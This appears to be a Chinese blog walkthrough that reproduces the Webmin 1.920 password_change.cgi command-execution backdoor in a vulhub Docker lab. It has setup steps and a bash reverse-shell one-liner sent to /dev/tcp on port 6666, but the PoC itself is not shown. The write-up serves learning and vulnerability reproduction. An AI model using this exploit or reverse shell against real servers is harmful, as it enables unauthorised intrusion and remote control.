如何入侵服务器,黑客入侵服务器的方法与教程

欢迎大家来到我的博客,今天分享的文章是如何入侵服务器,黑客入侵服务器的方法与教程,这篇文章写的非常好,涉及的知识点非常多,希望大家能认真学习。

漏洞描述

近日webmin被发现存在一处远程命令执行漏洞,经过分析后,初步猜测其为一次后门植入事件,webmin是目前功能最强大的基于web的unix系统管理工具,管理员通过浏览器访问webmin的各种管理功能并完成相应的管理动作,当用户开启webmin密码重置功能后,攻击者可以通过发送post请求在目标系统中执行任意命令,且无需身份验证。

影响范围:webmin <=1.920

漏洞复现

进入到vuhub之后,就直接执行docker-compose up -d拉取镜像搭建

漏洞利用复现,看看黑客如何入侵服务器

搭建好之后,直接访问192.168.1.1:10000 但是vuhub搭建的网站它是有问题的,所以要根据它报错的提示去修改相当, 所以这里的话,就需要用https去访问,不然会不给访问:https://192.168.1.1:10000/

漏洞利用复现,看看黑客如何入侵服务器

接着就是我们的漏洞利用,访问https://192.168.67.135:10000/password_change.cgi,这样的话,去访问它是会报错的,所以这里我们需要去修改一下配置文件。

漏洞利用复现,看看黑客如何入侵服务器

接着就是进入后台修改配置文件,这里的话,就直接用docker exec it id号 /bin/bash

漏洞利用复现,看看黑客如何入侵服务器

进入到/etc/webmin目录下,查看config文件。我们要修改的内容是config中的referers_one=1这个配置。

漏洞利用复现,看看黑客如何入侵服务器

但是在docker容器中,它是没有编辑器的,所以这里的话,我们需要安装一个vim编辑器

cat /etc/os-release先进入容器查看发行版,确定使用yum还是apt安装工具

漏洞利用复现,看看黑客如何入侵服务器

可以看到使用的debian8的操作系统,接下来apt安装, apt install vim

接着就是编辑这个文件config,然后将referers_one=1改为referers_one=0

漏洞利用复现,看看黑客如何入侵服务器

接着再去访问那个路径就可以看见,我们这边的页面也发生了相对应的变换,它已经不报错了。

漏洞利用复现,看看黑客如何入侵服务器

那么接下来的话,就是利用poc复现漏洞,这里的话,要访问https://192.168.1.1:10000/password_change.cgi并且用burp抓包

漏洞利用复现,看看黑客如何入侵服务器

使用网上的poc怼,看到成功执行命令
poc如下

漏洞利用复现,看看黑客如何入侵服务器

之后看见效果,很明显的成功执行了命令。

漏洞利用复现,看看黑客如何入侵服务器

执行一个whoami,它这里也成功的输出相对应的权限

漏洞利用复现,看看黑客如何入侵服务器

那么我们就要反弹shell,由于它这里可以执行执行命令,那么我们就可以直接执行bash -c “bash -i >& /dev/tcp/192.168.1.1/6666 0>&1” 接收shell服务器的6666端口)

那么的话,执行这个命令,那么我们服务器那边就要监听6666,接收反弹回来的shell。 这里的话,需要将payload进一方面的url编码再去执行

漏洞利用复现,看看黑客如何入侵服务器

服务器那边监听6666端口接收反弹回来的shell可以看见我们执行的payload,右边的页面一片空白,就说明成功了。

漏洞利用复现,看看黑客如何入侵服务器

然后就可以看见成功的反弹了一个shell过来了。

漏洞利用复现,看看黑客如何入侵服务器

这篇文章的所有内容就到写到这,希望大家看完能有所帮助,每天来我的个人博客转转,一定会有所收获,有什么疑问的话可以给我留言,我会第一时间回复的。

暂无评论

发表评论

您的电子邮件地址不会被公开,必填项已用*标注。

相关推荐

破壁机出现e1是怎么回事

破壁机出现e1可能是食材切块过大、或者食材与水配比不当、或者感温杯故障、也可能是杯底有水的痕迹、机器的主板坏了 ...